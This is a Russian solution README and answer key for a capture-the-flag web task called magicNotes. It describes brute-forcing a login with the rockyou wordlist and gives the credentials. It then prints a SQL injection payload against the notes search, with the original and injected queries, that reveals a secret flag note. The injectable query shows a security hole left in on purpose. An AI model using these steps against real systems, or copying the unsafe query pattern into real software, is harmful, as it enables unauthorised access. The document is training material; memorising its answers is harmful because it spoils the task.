Files
Kubok-Regionov/magicNotes-web/solve/README.md
2025-12-22 05:19:38 +03:00

34 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# Инструкции
1. Перейдите по адресу `http://<ip>:<port>/`.
2. Пользователь запускает brute-force атаку (например, через BurpSuite) по словарю rockyou.txt с гитхаба или с Кали Линукс (подскаска с именем пользователя есть в консоле браузера)
3. Пользователь получает доступ и вводит в поле поиска заметок текст, она отправляется на сервер и обрабатывается.
4. Пользователь через неё или по пути `http://<ip>:<port>/api/search?q=<query>` проводит атаку "SQL-инъекция", которая вытянет сразу все записи, включая секрет преподавателя.
## Ответы
Логин: harry
Пароль: harrypotter
Инъекция: '=='')--
## Вид уязвимости
Задача предполагает наличие SQL-инъекции в поиске по заметкам. Обычно пользователи видят только публичные заметки (`is_secret = false`), но через SQL-инъекцию можно получить доступ ко всем записям, включая секретную заметку с флагом.
### Примеры SQL-инъекций
```sql
-- Обычный запрос
SELECT id, title, content, created_at, author_id FROM notes
WHERE ('%поиск%' = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
ORDER BY created_at DESC
-- Инъекция для получения всех записей
'=='')--
-- Результирующий запрос:
SELECT id, title, content, created_at, author_id FROM notes
WHERE (''=='')-- = '' OR string::lowercase(title) CONTAINS string::lowercase(%поиск%) OR string::lowercase(content) CONTAINS string::lowercase(%поиск%) OR author_id AND string::lowercase(meta::id(author_id)) CONTAINS string::lowercase(%поиск%)) AND ( is_secret = false OR (is_secret = true AND author_id = %id_пользователя% ))
ORDER BY created_at DESC
```